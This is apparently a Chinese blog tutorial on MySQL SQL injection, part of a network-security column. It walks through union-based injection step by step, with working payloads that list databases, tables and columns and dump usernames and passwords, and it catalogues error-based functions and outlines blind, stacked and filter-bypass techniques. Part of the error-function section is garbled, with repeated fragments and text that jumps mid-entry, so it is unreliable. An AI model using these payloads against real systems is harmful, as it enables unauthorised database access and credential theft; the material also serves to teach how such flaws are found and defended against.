🏆今日学习目标: 🍀学习了解sql注入漏洞 ✅创作者:贤鱼 ⏰预计时间:35分钟 🎉个人主页:贤鱼的个人主页 🔥专栏系列:网络安全 ⚠如有需要可以查看以往文章: 一文了解数据库操作–mysql(25分钟) 具体详细介绍在专栏中有单独介绍,可以查看 只有了解才能注入
- 🍀union注入
- 原理
- 过程
- 判断数字或者字符串
- 判断字段数
- 判断回显点
- 注入库名
- 注入表名
- 注入列名
- 查数据
- 🍀报错注入
- 原理
- 注入
- extractvalue
- 双查询注入
- 双列名查询
- 报错函数
- geometrycollection()
- multipoint()
- polygon()
- multipolygon()
- linestring()
- multilinestring()
- exp()
- ST_LatFromGeoHash()
- ST_LongFromGeoHash()
- GTID_SUBSET()
- GTID_SUBTRACT()
- ST_PointFromGeoHash()
- procedure analyse()
- 🍀盲注
- 布尔盲注
- 原理
- 布尔盲注payload构造步骤
- 截取字符串
- substr()
- mid
- rigth()
- left()
- regexp
- rlike
- trim
- insert
- 字符串定位函数
- 比较
- rlike/regexp
- between
- in
- and,or减法运算
- 脚本
- 时间盲注
- 原理
- 时间盲注payload步骤
- 条件语句构造
- and
- or
- 延时操作
- sleep
- benchmark
- 笛卡尔积延时
- 正则dos延时
- 脚本
- 报错盲注
- 原理
- 🍀堆叠注入
- 原理
- 实施方法
- table
- handler
- 原理
- 模板
- 使用方法
- 🍀修改数据
- 前提
- 具体方法
- 🍀绕过方法大全🔥
- 常见绕过方式
- 关键字绕过
- 字符串
- and/or
- and/or/union
- and/or/union/where
- and/or/union/where/limit/group by
- and/or/union/where/limit/group by/select
- 空格
- 逗号
- 单双引号
- 🏆结束语
利用union关键字,union会将前后两次查询结果拼在一起,由于是联合查询,必须保证字段数一致,也就是两个查询结果有相同列数
过程1 判断数字或者字符串注入类型 2 判断字段数,查询有几个字段 3 判断回显点,有些字段存在但是不会输出内容,我们需要找到会显示的字段数 4 注入库名 5 注入表名 6 注入列名 7 查数据
判断数字或者字符串输入: id=1 id=1’ id=1’–+(–+是注释的意思) 为什么有时候加个单引号会报错,而加个注释又会查询成功呢? 举个栗子:‘xxx xxx xxx’这样子是正常的 ‘xxx xxx id’ xxx’ 这样子第二个’是不是就会报错 ‘xxx xxx id’–+xxx’这样子后面的‘就被注释掉了,也就不会报错了
判断字段数上文说过,union前后查询字段数必须一致,所以我们还要对字段数进行判断。在此可以利用order by n进行判断,意思是根据n个字段排序,如果不存在这个字段就会报错
这里依次查询1,2,3,4,5
4和5都会报错,所以可以得知,字段数为3 当然 union也是可以用的
第一个是1查询的,后面三个是1,2,3查询的,1,2,3,4依旧报错
判断回显点这里的操作和上文union查询字段数一样
很明显,字段数3中,我们的1,2,3都输出了,所以回显点就是1,2,3
注入库名查询到回显点,就要开始注入了,想要注入数据,必须得到他的库名 获得库名可以用database()函数 如图:输入id=-1’ union select 1,2,3 --+
我们再回显点2位置注入,发现成功获得了库名
当然,换个位置效果一样
分享几个查询数据库的方法
id=-1' union select 1,database(),3 --+
查看所有数据库名称
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata --+
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata limit1,1 --+ # 查询第2个数据
也可以用group_concat()函数将查询结果内容放入同一行
id=-1' union select 1,group_concat(SCHEMA_name),3 from information_schema.schemata --+
注入表名
有了库名就可以查询表名了
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema='库名' --+
就可以查询到表名了
注入列名查询到库名和表名就可以查询列名
d=-1' union select 1,group_concat(column_name),group_concat(data_type) from
information_schema.columns where table_schema='库名' and table_name='表名' --+
查数据
接下来就是查询数据了
id=-1' union select 1,username,password from security.users limit 0,1 --+
id=-1' union select 1,concat(username,0x5c,password),3 from security.users limit 0,1 --+
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users
--+
concat() :将两个字段结合成为一个字段
利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中 sql查询的星系会被报错语句返回到界面上
注入 extractvalueextractvale(MXL_document,xpath_string);
第一个参数为xml字符串 第二个参数为xpath格式字符串
作用,从xml中返回包含查询字符串
注意! 查询时用group_concat或者limit 记得用substr函数进行截取,extractvalue报错信息最多32个字符
后面的程序和上文union注入差不多,如有需要可以查看
双查询注入上文所说查询时用group_concat或者limit 有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit 用limit将结果一行一行爆出
join: 用于将两个表连接
在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入
报错函数 geometrycollection()geometrycollection((select * from(select * from(select user())a)b));(5.1>=version=version=version=version=version=version=version=5.7)
ST_LongFromGeoHash()select ST_LongFromGeoHash(user());(*>=5.7)
GTID_SUBSET()select GTID_SUBSET(user(),1);(*>=5.7)
GTID_SUBTRACT()select GTID_SUBTRACT(user(),1);(*>=5.7)
ST_PointFromGeoHash()select ST_PointFromGeoHash(user(),1);(*>=5.7)
procedure analyse()procedure analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句 末尾,(* 返回字符串 str 中子字符串的第一个出现位置,否则为0 FIND_IN_SET(str,strlist)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0 LOCATE(substr,str,pos)–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置 在pos。如若substr 不在str中,则返回值为0 POSITION(substr IN str)–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0
用法: locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在 pos。如若substr 不在str中,则返回值为0。
比较 rlike/regexp上文有讲,截取+比较结合体
between用法 expr between 下界 and 上界 意思是是否expr>=下界 &&expr
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?